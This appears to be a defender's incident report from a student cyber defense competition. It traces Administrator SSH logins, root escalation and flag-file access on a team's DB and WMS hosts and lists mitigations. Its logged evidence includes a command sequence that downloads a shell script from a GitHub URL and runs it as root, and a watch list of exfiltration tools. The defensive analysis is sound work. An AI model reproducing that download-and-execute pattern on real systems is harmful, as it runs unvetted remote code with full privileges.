Introduction

Timeframe: This report focuses on the current intrusion window after 12:30 UTC on 2026-04-25.

This report analyzes logs from Team 9's environment after additional flag losses were observed in iScore. This report focuses on the following:

- Administrator SSH login attempts.
- Successful Administrator SSH logins to DB and WMS.
- Explicit credential use on AD and LP.

- Root / sudo activity on Linux hosts.
- Commands accessing flag files.
- Possible credential compromise and lateral movement.

Unlike earlier reports, this report contains direct evidence of flag access. The logs show successful Administrator SSH logins, root escalation, and commands involving flag files.

Access Attempts

Administrator SSH Attempts

Server	**Host**	**IP**	**User**	**Result**	**Notes**
DB	db.team9.isucdc.com	12.110.242.118	Administrator	Failed	Failed SSH password attempt.
DB	db.team9.isucdc.com	12.110.206.199	administrator	Failed	Failed SSH password attempt.
DB	db.team9.isucdc.com	12.110.242.159	Administrator	Failed then Successful	Failed auth followed by accepted password.

DB	db.team9.isucdc.com	12.110.242.157	Administrator	Failed then Successful	Failed auth followed by accepted password.
WMS	wms.team9.isucdc.com	12.110.242.162	Administrator	Failed then Session Opened	Failed auth followed by Administrator session.

Successful Administrator SSH Logins

Server	**Host**	**IP**	**User**	**Event**	**Notes**
DB	db.team9.isucdc.com	12.110.242.159	Administrator	Accepted password	Administrator successfully logged in over SSH.

DB	db.team9.isucdc.com	12.110.242.157	Administrator	Accepted password	Administrator successfully logged in over SSH.
WMS	wms.team9.isucdc.com	12.110.242.162	Administrator	Session opened	Administrator session opened on WMS.

```

Observations

- The DB logs show failed Administrator SSH attempts followed by successful password authentication.

- At 2026-04-25 16:15 UTC, DB accepted the Administrator password from 12.110.242.159.
- At 2026-04-25 16:27 UTC, DB accepted the Administrator password from 12.110.242.157.
- At 2026-04-25 16:24 UTC, WMS opened an Administrator session after an authentication failure from 12.110.242.162.
- This strongly suggests that valid Administrator credentials were used by the attacker.

Suspicious Activity

Explicit Credential Use

- Event: A logon was attempted using explicit credentials.
- Affected hosts: LP and AD.
- Accounts involved: Administrator, christy.davis, jacqueline.elliott, darren.williams, and other TEAM9 domain users.
- Context: Repeated explicit credential use during the intrusion window suggests credential theft, password reuse, or lateral movement.
- Risk: High.

Root / Sudo Activity

- Event: sudo and su sessions opened for root.
- Affected hosts: DB and WMS.
- Users involved: administrator and christy.davis.
- Context: After SSH access, users escalated to root using sudo or su.
- Risk: High.

Flag Access Evidence

- DB recorded commands involving the DB root flag:
    - sudo command executed /usr/bin/tee team9_db-root.flag.
    - sudo command executed /usr/bin/tee /root/team9_db-root.flag.
    - sudo command executed /bin/cat /root/team9_db-root.flag.
- WMS recorded commands involving the WMS root flag:

    - sudo command executed /usr/bin/vim /root/team9_wms-root.flag.
- WMS also recorded commands downloading and running a script:
    - sudo wget https://raw.githubusercontent.com/cf8geek/misc-scripts/refs/heads/master/ISEAGE/deploy-all.sh
    - sudo chmod +x deploy-all.sh
    - sudo bash ./deploy-all.sh
- Context: These commands are direct evidence that flag files were accessed or modified during the compromise window.

Assessment of Impact

Confirmed Activity

1. Administrator SSH attempts occurred against DB and WMS after 12:30 UTC.
2. DB accepted the Administrator password from 12.110.242.159 at approximately 16:15 UTC.
3. DB accepted the Administrator password from 12.110.242.157 at approximately 16:27 UTC.
4. WMS opened an Administrator session around 16:24 UTC.
5. DB recorded sudo and su activity escalating to root.
6. WMS recorded sudo activity escalating to root.
7. DB recorded commands accessing /root/team9_db-root.flag.
8. WMS recorded commands accessing /root/team9_wms-root.flag.
9. AD and LP recorded repeated explicit credential use involving domain accounts.
10. These events align with the observed flag losses.

Mitigating Actions

We took or recommend the following mitigating actions:

1. Block suspicious external IPs at the firewall, including 12.110.242.157, 12.110.242.159, 12.110.242.162, and 68.32.254.50.

2. Rotate the Administrator password and any affected domain user passwords.
3. Disable or restrict Administrator SSH access.
4. Review sudoers and wheel group membership on Linux hosts.
5. Check DB, WMS, LP, and AD for persistence, including new users, SSH keys, cron jobs, systemd services, and modified sudoers files.
6. Review shell history and logs for cat, tee, vim, wget, curl, scp, tar, base64, and flag access.
7. Disable weak authentication where possible, especially NTLMv1.
8. Continue monitoring Event IDs 4624, 4625, 4648, 4672, 4768, 4769, and Linux SSH/sudo logs.

Not Shown in Current Results

- The logs do not prove exactly how the Administrator password was first obtained.
- The logs do not prove a Golden Ticket attack.
- The logs do not prove DCSync.
- The logs do not show a confirmed LSASS dump.
- The logs do not show successful SSH access to WWW.
- The logs do show direct DB and WMS flag-file access, but not every individual flag capture action.

Note on validation

Due to time constraints, we were unable to validate every suspicious event. However, we have high confidence that Team 9 was compromised during this period.

The strongest evidence is:

- Administrator SSH failures followed by successful Administrator SSH logins.
- Root/sudo escalation on DB and WMS.
- Direct commands involving /root/team9_db-root.flag and /root/team9_wms-root.flag.
- Explicit credential use on AD and LP.

- The timing of these events lines up with the flag losses.
